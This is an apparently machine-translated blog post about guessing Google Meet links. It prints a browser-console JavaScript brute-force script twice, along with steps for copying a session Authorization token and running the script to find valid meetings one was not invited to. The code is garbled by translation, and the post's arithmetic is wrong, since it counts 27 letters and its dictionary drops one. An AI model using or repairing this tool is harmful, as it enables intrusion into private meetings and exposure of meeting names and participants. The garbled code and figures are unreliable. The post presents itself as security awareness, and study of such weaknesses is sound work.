VISIO – Get stuck in Google Meet | Dyrk, Dyna Meet – Visio

Meet Visio

randomize = () => dico = dico.Split (”).MAP (Value => (< value, sort: Math.random() >)).spell ((a, b) => a.spell – b.spell).MAP ((< value >) => value).Join (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Split (”).MAP (C => C == ‘-‘?C: String.fromcharcode (math.Floor (Math.Random ()*25) +97)).Join (”),
Key = Newpatternkey (), Counter = 20;
Next = () => Key.Split (”).MAP (E => E == ‘-‘ ? E: Dico [Dico.Indexof (e) + 1> = Dico.length ? 0: Dico.Indexof (e) + 1]).Join (”),
Counter = 0;
meetlink = ‘https: // meet.Google.com/’, available toe = () => xHR = new xmlhttprequest ();
If (Counter ++> = 20) Counter = 0;
Key = Newpatternkey ();
Randomize ();
>
Key = Next ();
xhr.Open (‘Get’, Meetlink + Key);
xhr.Addeventlisner (‘load’, (e) => fetch (meetlink.concat (“/$ rpc/google.RTC.meetings.V1.MeetingSpaceService/ResolvemeetingSpace “),” Headers “:” Authorization “: Authorization,
“Content-Type”: “Application/X-Protobuf”,
“X-Goog-Adep-Key”: E.target.responsibility.Match (/\ [“https \: \/\/Meet \.Google\.com \ “\,” ([A-Za-Z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-enCode-Réspose-IF-EXECUTABLE”: “BASE64”,
“X-Goog-Meeting-identifier”: Btoa (‘\ B \ X02 \ X12 \ F’.Concat (Key)),
>,
“body”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Method”: “Post”
>).then (e => e.Text ())
.then (e => setTimeout (available, 100);
console.Log (Meetlink.Concat (Key).Beautifydisplay (38), (e.Replace (/[^A-Za-Z0-9]/G, “”)+””).Beautifydisplay (38));
>);
>);
xhr.Send ();
>;
String.prototype.Beautifydisplay = Function (size) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >size ? TXT.Length: size)).Substr (0, size).Concat (‘|’); >,
console.Clear ();
available ();
>) ()

Dyrk

Currently working in the field of cybersecurity, I am regularly faced with fairly trivial situations.

Latest, a person’s intrusion during a meeting .
Fortunately, for safety, Google Meet included a feature allowing both to warn participants that a person seeks to join the videoconference, but also to accept or refuse it.

However, this event brings me to ask myself a number of questions .

Complexity of the Google Meet link

First of all, how is it possible for a person to connect to a meet link without having been invited to it ?

We must consider the simplicity of the link: https: // Google.meet.com/XXX-Yyyy -zzzz

XXX-Yyyy -zzzz are only alphabetical characters between A and Z, ie 27 possible combinations for each character.

For mathematicians, there is therefore:

27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 x 27 possible combinations .

Lifespan of a Google Meet link

Although we are now able to better understand how the links of our “Google Meet” conference bonds are built, there is a very important aspect to take into account . The lifespan of a Google Meet link !

Indeed everyone can generate Google Meet meetings in a few clicks.
But after a few days, weeks or months . The links are no longer valid.

The links generated therefore have a certain period of validity .

Exception make “recurring” events, and this is where it becomes interesting.
In business, there are many opportunities to organize regularly (team / business, daily, weekly, monthly,, . )).
When an employee generates this type of event in their agenda, automatically a Google Meet link is generated. This one is invariable.
So you will have the same link each time for this event.

With a little javascript and brute force ?

With all these elements, we are now equipped to sweep all possibilities, and reach a high probabilities to detect links to videoconociates !

So I have a little retro-insured the operation of Google Meet to write a JavaScript code which will try an infinite number of combinations

(C) Dyrk.Org 2023-2024 – Meet’s Roulette
(1) run this script on https: // google.meet.com

(2) Find & Update Authorization’s variable with a valid authorization’s token in your googles’s “xhr Requests” Headers

Let Authorization = “Sapisidhash xxxxxxxxxxxxxx_xxxxxxxxxxxxxxxxxxxxxxxxxxxx“, dico =” abcdefghijklmnopqrstuvxz “,

randomize = () => dico = dico.Split (”).MAP (Value => (< value, sort: Math.random() >)).spell ((a, b) => a.spell – b.spell).MAP ((< value >) => value).Join (”),
Newpatternkey = () => “xxx-xxxx-xxx”.Split (”).MAP (C => C == ‘-‘?C: String.fromcharcode (math.Floor (Math.Random ()*25) +97)).Join (”),
Key = Newpatternkey (), Counter = 20;
Next = () => Key.Split (”).MAP (E => E == ‘-‘ ? E: Dico [Dico.Indexof (e) + 1> = Dico.length ? 0: Dico.Indexof (e) + 1]).Join (”),
Counter = 0;
meetlink = ‘https: // meet.Google.com/’, available toe = () => xHR = new xmlhttprequest ();
If (Counter ++> = 20) Counter = 0;
Key = Newpatternkey ();
Randomize ();
>
Key = Next ();
xhr.Open (‘Get’, Meetlink + Key);
xhr.Addeventlisner (‘load’, (e) => fetch (meetlink.concat (“/$ rpc/google.RTC.meetings.V1.MeetingSpaceService/ResolvemeetingSpace “),” Headers “:” Authorization “: Authorization,
“Content-Type”: “Application/X-Protobuf”,
“X-Goog-Adep-Key”: E.target.responsibility.Match (/\ [“https \: \/\/Meet \.Google\.com \ “\,” ([A-Za-Z0-9 \ _ \-]) “\]/) [1],
“X-Goog-Authuse”: “0”,
“X-Goog-enCode-Réspose-IF-EXECUTABLE”: “BASE64”,
“X-Goog-Meeting-identifier”: Btoa (‘\ B \ X02 \ X12 \ F’.Concat (Key)),
>,
“body”: “\ n \ f”.Concat (Key, “0 \ U0001”),
“Method”: “Post”
>).then (e => e.Text ())
.then (e =>

SetTimeout (available, 100);
console.Log (Meetlink.Concat (Key).Beautifydisplay (38), (e.Replace (/[^A-Za-Z0-9]/G, “”)+””).Beautifydisplay (38));
>);
>);
xhr.Send ();
>;
String.prototype.Beautifydisplay = Function (size) < let txt = this.valueOf(); return txt.concat(' '.repeat(txt.length >size ? TXT.Length: size)).Substr (0, size).Concat (‘|’); >,
console.Clear ();
available ();
>) ()

To operate all of this it will be necessary:

  1. Open the page https: // meet.Google.com
  2. Open the developer console
  3. In the “Network” tab, filter the Fetch / Xhr & Recover a token of token“Authorization”
  4. Copy and paste the source code above and put to the place indicated the token.
  5. Validate with the “Entrance” key on your keyboard.

Recovery of “Authorization” token:

For the curious, this is what the result of this script in action should look like.
We therefore note lines which informs us that the space for videoconference does not exist.
And others that put us up the token of the conference ! Therefore indicating that the link is valid;)

However, do not expect to fall in a few seconds on a meet link ^^
(Unless you are a little lucky man)
You will need to be great patience, letting it run at least half an hour.

Conclusion

Do not panic that there is a greater number of luck to find a valid Google Meet link than winning Loto.

Attention ! A person who comes across a valid meet link access to certain information without the need to be connected:
The name of the meeting (therefore avoid slipping confidential information), and the connected participants (all or a game).

Meet Visio

Online robbery

Best-seller sticker online robbery

players

Up to 1000 players simultaneously

An easy access platform, in Visio

Horizon 2024

Thumbnail - Horizon 2024 - Visio

players

Up to 1000 players simultaneously

An easy access platform, in Visio

Where is Charlie ?!

Thumbnail - where is Charlie - Visio

players

Up to 1000 players simultaneously

An easy access platform, in Visio

ENIGMA Mission

Thumbnail - Mission Enigma - Visio

players

Up to 1000 players simultaneously

An easy access platform, in Visio

Cybersecurity awareness

Thumbnail - Cybersecurity - Visio

players

Up to 5000 players simultaneously

An easy access platform, in Visio

Save Christmas !

Thumbnail - Save Christmas! - Visio

players

Up to 1000 players simultaneously

An easy access platform, in Visio

Copyright © 2023 – Dyna’Meet

Manage consent to cookies

To offer the best experiences, we use technologies such as cookies to store and/or access the information of the devices. Consenting to these technologies will allow us to process data such as navigation behavior or unique IDs on this site. The fact of not consenting or withdrawing your consent may have a negative effect on certain characteristics and functions.

Functional functional always activated

Storage or technical access is strictly necessary in the end of the legitimate interest to allow the use of a specific service explicitly requested by the Subscriber or the User, or for the sole purpose of transmitting the transmission of Communication on an electronic communications network.

Preferences Preferences

Storage or technical access is necessary for the purpose of legitimate interest to store preferences that are not requested by the subscriber or the person using the service.

Statistical statistics

Storage or technical access which is used exclusively for statistical purposes. Storage or technical access which is used exclusively in anonymous statistical purposes. In the absence of a summons to appear, voluntary compliance on the part of your Internet access provider or additional records from a third party, the information stored or extracted at this end cannot generally not be used to identify you.

Storage or technical access is necessary to create user profiles in order to send advertisements, or to follow the user on a website or on several websites with similar marketing purposes.

Thanks! You've already liked this
No comments